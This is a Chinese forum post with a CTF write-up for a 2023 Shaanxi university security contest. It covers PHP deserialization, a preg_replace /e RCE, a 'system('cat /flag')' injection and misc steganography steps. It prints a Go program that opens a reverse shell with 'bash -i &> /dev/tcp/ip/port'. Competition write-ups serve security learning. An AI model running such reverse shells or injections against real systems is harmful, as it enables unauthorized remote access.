2023陕西省大学生信息安全竞赛web writeup

打印 上一主题 下一主题

主题 888|帖子 888|积分 2664

前言

早写好了,忘发了,题目质量还行,够我坐大牢
ezpop

简单的反序列化,exp如下
  1. [/code]传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样
  2. [size=4]ezrce[/size]
  3. preg_replace采用了/e的模式,很明显有rce漏洞,简单的测试了一下,不能用数字等等,这waf有点牛逼,采用无参rce直接读flag就行了,name得含有hahaha
  4. [img]https://pic.imgdb.cn/item/647d49c21ddac507cc338283.jpg[/img]
  5. [size=4]unserialize[/size]
  6. 非预期,?a=system ('cat /flag');就能读flag
  7. [img]https://pic.imgdb.cn/item/647d49de1ddac507cc33a766.jpg[/img]
  8. [size=4]test[/size]
  9. 查看页面源代码,发现/profile/index这个路由,访问一下返回一个result,啥也没有,仿问/profile/admin,返回了密码,MD5解密一下asdfgh123admin登录进去,提示上传个go文件,就会运行,构造一个上传数据包,go文件如下:
  10. [code]package main
  11. import (
  12.   "fmt"
  13.   "log"
  14.   "os/exec"
  15. )
  16. func main() {
  17.   cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
  18.   out, err := cmd.CombinedOutput()
  19.   if err != nil {
  20.     fmt.Printf("combined out:\n%s\n", string(out))
  21.     log.Fatalf("cmd.Run() failed with %s\n", err)
  22.   }
  23.   fmt.Printf("combined out:\n%s\n", string(out))
  24. }
复制代码
反弹shell,拿到flag

Misc

管道

zsteg -a 管道.png | grep "flag"

可是雪啊飘进双眼

第一步hint.wav,藏了摩斯密码,解密出来是WOAISHANXI ,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt ,拿到密码shanxiroujiamo,解开压缩包,两张图片,key.jpg与hide.jpg, binwalk -e key.jpg 提取出一个压缩包,里面有张图片,跟key.jpg的密文相对应,一一对照拿到密码BC1PVEYD, steghide解hide.jpg即可拿到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

熊熊出没

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表